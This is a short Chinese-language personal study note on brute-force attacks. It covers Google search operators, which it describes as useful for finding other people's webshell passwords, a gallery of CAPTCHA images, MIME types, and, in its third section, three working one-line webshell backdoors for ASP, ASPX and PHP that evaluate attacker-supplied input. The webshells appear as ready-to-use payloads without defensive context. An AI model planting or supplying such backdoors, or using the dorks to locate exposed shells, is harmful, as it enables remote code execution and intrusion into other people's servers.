暴力破解 · 个人笔记

一：谷歌黑语法 site：可以限制你搜索范围的域名. inurl：用于搜索网页上包含的URL，这个语法对寻找网页上的搜索，帮助之类的很有用. intext: 只搜索网页<body>部分中包含的文字(也就是忽略了标题、URL等的文字) intitle: 查包含关键词的页面，一般用于社工别人的webshell密码二：验证码演变 ![](https://img.kancloud.cn/b5/24/b524d004083f9b76d69e220039a20da3_378x278.png) ![](https://img.kancloud.cn/6e/97/6e9724f42c72cb39cba49878e93b3e67_461x287.png) ![](https://img.kancloud.cn/c7/8b/c78bb1b30fb6264d74c894fefdc03640_386x329.png) ![](https://img.kancloud.cn/a8/0a/a80a8440dc9c227a786c8995ec6d9a57_480x261.png) ![](https://img.kancloud.cn/55/c4/55c4837b47508a3fbc18e987752998d0_401x214.png) ![](https://img.kancloud.cn/db/5e/db5e96e7bd9725cd5157830a1c0a706b_411x491.png) 三：一句话木马 ``` asp: <%eval request(“pass”)%> aspx: <%@ Page Language%><%eval(Request.Item[“pass”].”unsafe”);%> php: <?php @eval($_POST[‘pass’]);?> ``` 四：MIME MIME有哪些类型？ ![](https://img.kancloud.cn/98/6b/986b3363d8933c82b473a43049fd941d_675x272.png)